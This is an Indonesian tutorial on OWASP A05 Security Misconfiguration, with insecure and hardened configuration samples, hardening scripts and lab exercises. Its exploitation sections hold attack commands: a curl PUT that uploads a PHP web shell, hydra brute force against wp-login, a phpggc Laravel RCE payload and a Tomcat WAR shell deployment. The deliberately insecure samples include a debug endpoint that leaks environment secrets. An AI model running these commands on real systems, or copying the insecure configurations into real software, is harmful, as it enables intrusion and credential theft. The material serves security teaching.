A05 - Security Misconfiguration (Konfigurasi Keamanan yang Tidak Tepat)
Definisi
Security Misconfiguration adalah celah keamanan yang terjadi ketika komponen keamanan suatu aplikasi atau sistem dikonfigurasi secara tidak aman, tidak lengkap, atau menggunakan pengaturan default yang rentan. Ini merupakan salah satu kerentanan yang paling umum ditemukan dan sering kali menjadi pintu masuk pertama bagi attacker untuk mengeksploitasi sistem.
Menurut OWASP Top 10 2021, Security Misconfiguration berada di peringkat ke-5 dengan prevalensi yang sangat tinggi - hampir 90% dari aplikasi yang diuji memiliki beberapa bentuk misconfiguration. Tingkat keparahannya bervariasi dari sedang hingga kritis, tergantung pada data dan fungsi yang terekspos.
Bentuk umum dari security misconfiguration meliputi:
- Default credentials: Menggunakan username dan password bawaan pabrik (admin/admin, root/root)
- Directory listing enabled: Web server memperlihatkan struktur direktori secara publik
- Debug mode aktif: Error stack trace atau debug console terekspos ke pengguna
- CORS wildcard: Header
Access-Control-Allow-Origin: *pada API yang sensitif - HTTP methods tidak dibatasi: Endpoint menerima PUT, DELETE, TRACE tanpa otentikasi
- Unnecessary ports/services: Port atau service yang tidak perlu tetap berjalan
- Error handling yang buruk: Pesan error menampilkan informasi sensitif
- Default certificates: Menggunakan sertifikat TLS bawaan atau self-signed
Dampak
Dampak dari security misconfiguration bisa sangat luas dan serius:
| Dampak | Deskripsi |
|---|---|
| Kebocoran Data | Informasi sensitif seperti kredensial database, API key, atau stack trace terekspos |
| Akses Tidak Sah | Attacker mendapatkan akses ke panel admin, console, atau fitur terbatas |
| Remote Code Execution (RCE) | Debug console atau misconfiguration tertentu memungkinkan eksekusi kode |
| Lateral Movement | Informasi dari satu sistem digunakan untuk menyerang sistem lain |
| Denial of Service (DoS) | Misconfiguration pada rate limiting atau resource management menyebabkan DoS |
| Full System Compromise | Kombinasi misconfiguration dapat menyebabkan pengambilalihan penuh |
Contoh Kode
Contoh 1: Default Credentials pada Aplikasi Django
# settings.py - VERY UNSAFE: menggunakan default credentials
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'production_db',
'USER': 'root', # Default user
'PASSWORD': 'root', # Default password!
'HOST': 'localhost',
'PORT': '3306',
}
}
# DEBUG mode aktif di production - SANGA
DEBUG = True
# ALLOWED_HOSTS kosong - menerima request dari host manapun
ALLOWED_HOSTS = ['*']
Contoh 2: CORS Wildcard pada API Node.js/Express
// app.js - KONFIGURASI TIDAK AMAN
const express = require('express');
const cors = require('cors');
const app = express();
// CORS wildcard - mengizinkan semua origin
app.use(cors({
origin: '*', // Sangat berbahaya untuk API dengan data sensitif
methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-Admin-Token'],
credentials: true // credentials: true + origin: '*' tidak valid tapi berbahaya
}));
// Debug endpoint aktif
app.get('/debug', (req, res) => {
res.json({
env: process.env,
config: app.get('config'),
db_password: process.env.DB_PASSWORD
});
});
Contoh 3: Directory Listing pada Nginx
# /etc/nginx/sites-enabled/default - KONFIGURASI TIDAK AMAN
server {
listen 80;
server_name example.com;
root /var/www/html;
# Directory listing aktif - siapa pun bisa lihat struktur file
location / {
autoindex on; # INI BERBAHAYA!
autoindex_exact_size on;
autoindex_localtime on;
}
# File konfigurasi backup terekspos
location /backup {
alias /var/backups/;
autoindex on;
}
}
Contoh 4: Konfigurasi Aman (Best Practice) - Flask
# config.py - KONFIGURASI AMAN
import os
class ProductionConfig:
SECRET_KEY = os.environ.get('SECRET_KEY') # dari environment variable
DEBUG = False # DEBUG nonaktif
TESTING = False
# Database dengan credentials dari environment
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL')
# Session cookies aman
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Lax'
# Rate limiting
RATELIMIT_ENABLED = True
RATELIMIT_DEFAULT = "100/hour"
# CORS terbatas
CORS_ORIGINS = ['https://app.example.com']
# Security headers
SECURITY_HEADERS = {
'X-Content-Type-Options': 'nosniff',
'X-Frame-Options': 'DENY',
'X-XSS-Protection': '1; mode=block',
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains'
}
Skenario Eksploitasi
Skenario 1: Eksploitasi Default Admin Panel
Langkah-langkah yang dilakukan attacker:
- Reconnaissance: Attacker menemukan
panel login admin di
https://target.com/admin - Coba default credentials: Attacker
mencoba kombinasi default:
admin:adminadmin:passwordadministrator:administratorroot:root
- Akses didapat: Berhasil login dengan
admin:admin - Privilege Escalation: Dari panel admin, attacker mengupload shell atau memodifikasi user lain
- Persistence: Membuat backdoor account untuk akses jangka panjang
# Menggunakan curl untuk mencoba default credentials
curl -X POST https://target.com/admin/login \
-d "username=admin&password=admin" \
-v
# Jika berhasil, response mengandung session cookie
Skenario 2: Eksploitasi Debug Console (Laravel)
- Deteksi: Attacker mengakses
https://target.com/_debugbar/opendan mendapatkan akses ke Laravel Debugbar - Ekstraksi informasi: Debugbar
menampilkan:
- Database queries dengan data mentah
- Environment variables (termasuk APP_KEY, DB_PASSWORD)
- Session data pengguna lain
- Log aplikasi
- Eksploitasi lanjutan: Dengan APP_KEY, attacker melakukan deserialization attack
- RCE: Mendapatkan remote code execution pada server
Skenario 3: HTTP Method Abuse (PUT/DELETE)
# Cek HTTP methods yang diizinkan
curl -X OPTIONS https://api.target.com/users \
-H "Origin: https://evil.com" \
-v
# Response: Allow: GET, POST, PUT, DELETE, OPTIONS
# Menghapus user tanpa autentikasi
curl -X DELETE https://api.target.com/users/admin
# Mengupload file berbahaya via PUT
curl -X PUT https://api.target.com/uploads/shell.php \
-d "<?php system($_GET['cmd']); ?>"
Pencegahan
1. Hardening Checklist Produksi
# production-hardening-checklist.yaml
hardening_checks:
authentication:
- hapus_default_accounts: true
- ubah_default_passwords: true
- nonaktifkan_account_tidak_terpakai: true
web_server:
- disable_directory_listing: true
- disable_server_signature: true
- batasi_http_methods: true
- konfigurasi_security_headers: true
application:
- debug_mode_off: true
- custom_error_pages: true
- allowed_hosts_terbatas: true
- cors_origin_spesifik: true
network:
- tutup_port_tidak_digunakan: true
- firewall_restrictive: true
- minimal_services_berjalan: true
secrets_management:
- env_variables_bukan_hardcode: true
- vault_atau_secret_manager: true
- rotasi_secret_berkala: true
2. Implementasi Keamanan di Aplikasi
# security_middleware.py - Middleware keamanan untuk Flask
from flask import Flask, request, abort
import os
app = Flask(__name__)
@app.before_request
def security_checks():
# 1. Block debug mode
if app.debug and not request.remote_addr == '127.0.0.1':
abort(403, 'Debug mode hanya dari localhost')
# 2. Batasi HTTP methods
if request.method in ['PUT', 'DELETE', 'PATCH', 'TRACE']:
if not request.headers.get('X-API-Key'):
abort(405, 'Method tidak diizinkan tanpa API key')
# 3. Cek Content-Type
if request.method == 'POST':
if not request.content_type.startswith('application/json'):
abort(415, 'Hanya menerima JSON')
@app.after_request
def add_security_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['X-XSS-Protection'] = '1; mode=block'
response.headers['Strict-Transport-Security'] = 'max-age=31536000'
response.headers['Content-Security-Policy'] = "default-src 'self'"
return response
3. Otomatisasi dengan Script Hardening
#!/bin/bash
# hardening.sh - Script hardening untuk server Linux
echo "=== HARDENING SERVER ==="
# 1. Hapus default accounts
echo "[1] Menghapus default accounts..."
userdel -r games
userdel -r lp
userdel -r news
userdel -r uucp
# 2. Nonaktifkan directory listing di Apache
echo "[2] Menonaktifkan directory listing..."
sed -i 's/Options Indexes/Options -Indexes/' /etc/apache2/apache2.conf
# 3. Nonaktifkan ServerSignature
echo "[3] Menonaktifkan server signature..."
echo "ServerSignature Off" >> /etc/apache2/conf-available/security.conf
echo "ServerTokens Prod" >> /etc/apache2/conf-available/security.conf
# 4. Tutup port tidak perlu
echo "[4] Menutup port tidak perlu..."
ufw default deny incoming
ufw default allow outgoing
ufw allow ssh
ufw allow http
ufw allow https
ufw enable
# 5. Set permission aman
echo "[5] Mengatur permission..."
chmod 644 /etc/passwd
chmod 600 /etc/shadow
chmod 600 /etc/gshadow
chmod 644 /etc/group
4. Checklist Konfigurasi Aman
- Hapus atau ubah default credentials pada semua komponen (database, admin panel, CMS, API keys)
- Nonaktifkan directory listing pada web
server (Apache:
-Indexes, Nginx:autoindex off) - Nonaktifkan debug/developer mode di environment produksi
- Gunakan environment variables atau secret manager untuk credentials, jangan hardcode
- Batasi CORS hanya ke domain yang
diperlukan, jangan gunakan wildcard
* - Batasi HTTP methods - hanya izinkan GET, POST, HEAD jika diperlukan
- Konfigurasi security headers (CSP, HSTS, X-Frame-Options, dsb)
- Gunakan custom error pages - jangan tampilkan stack trace
- Nonaktifkan service dan port yang tidak digunakan
- Lakukan audit konfigurasi secara berkala dengan tools seperti Lynis atau OpenSCAP
- Terapkan principle of least privilege untuk semua akun dan service
- Gunakan file permission yang ketat - jangan 777
CWE Mapping
| CWE ID | Nama | Deskripsi |
|---|---|---|
| CWE-16 | Configuration | Kerentanan yang berkaitan dengan konfigurasi sistem yang tidak aman. Mencakup berbagai misconfiguration seperti default settings, unnecessary features, dan improper permissions. |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor | Kebocoran informasi sensitif melalui error messages, stack traces, directory listing, atau debug endpoints. |
| CWE-209 | Generation of Error Message Containing Sensitive Information | Pesan error yang menampilkan informasi sensitif seperti query SQL, file paths, atau stack traces. |
| CWE-215 | Information Exposure Through Debug Information | Debug information seperti environment variables, konfigurasi internal, atau data session terekspos. |
| CWE-276 | Incorrect Default Permissions | Permission default yang terlalu longgar pada file, direktori, atau resource. |
| CWE-284 | Improper Access Control | Kontrol akses yang tidak tepat, sering terkait dengan misconfiguration. |
| CWE-319 | Cleartext Transmission of Sensitive Information | Transmisi data sensitif tanpa enkripsi karena misconfiguration TLS/SSL. |
| CWE-523 | Unprotected Transport of Credentials | Kredensial dikirim tanpa perlindungan karena misconfiguration. |
| CWE-526 | Information Exposure Through Environmental Variables | Environment variables yang menampilkan informasi sensitif. |
Lab Terkait
1. WordPress - Default Admin Credentials
- Deskripsi: WordPress versi lama dengan username admin default
- Endpoint:
/wp-adminatau/wp-login.php - Eksploitasi: Brute force dengan
username
admindan password yang umum - Tools:
wpscan,hydra,burpsuite
# Menggunakan wpscan untuk mendeteksi WordPress
wpscan --url https://target.com --enumerate u
# Brute force dengan hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is wrong"
2. Laravel - Debug Mode
- Deskripsi: Laravel dengan
APP_DEBUG=truedi production - Endpoint:
/_debugbar/open,/ignition/health-check - Eksploitasi: Mengekstrak APP_KEY untuk deserialization attack, atau mengekspos database credentials
- Tools: Browser, curl, phpggc
# Cek debug mode
curl -s https://target.com/_debugbar/open | jq .
# Jika APP_KEY terekspos, lakukan deserialization
phpggc Laravel/RCE1 system "id" | base64
3. Juice Shop - OWASP Juice Shop
- Deskripsi: Aplikasi intentionally vulnerable dengan berbagai security misconfiguration
- Lab: https://juice-shop.herokuapp.com
- Challenges terkait:
- Score Board - menemukan halaman tersembunyi
- Admin Registration - mendaftar sebagai admin melalui misconfiguration
- Privacy Policy - mengekspos informasi melalui misconfiguration
- Error Handling - mengeksploitasi error handling yang buruk
4. Apache Tomcat - Default Manager App
- Deskripsi: Tomcat dengan manager app menggunakan default credentials
- Endpoint:
/manager/html - Credentials default:
tomcat:tomcatatauadmin:admin - Eksploitasi: Upload WAR file berbahaya untuk RCE
# Coba akses Tomcat manager
curl -u tomcat:tomcat https://target.com/manager/html
# Upload WAR shell
curl -u tomcat:tomcat \
-T shell.war \
"https://target.com/manager/text/deploy?path=/shell"
Kesimpulan
Security Misconfiguration adalah salah satu kerentanan yang paling mudah dicegah namun paling sering ditemukan. Dengan mengikuti praktik hardening yang baik, melakukan audit konfigurasi secara berkala, dan mengimplementasikan security checklist secara disiplin, risiko dari misconfiguration dapat diminimalkan secara signifikan.
Kunci utama pencegahan adalah:
- Otomatisasi - gunakan Infrastructure as Code dan configuration management
- Audit berkala - lakukan vulnerability scanning dan configuration review
- Least privilege - berikan akses dan permission minimal yang diperlukan
- Defense in depth - jangan bergantung pada satu lapisan keamanan saja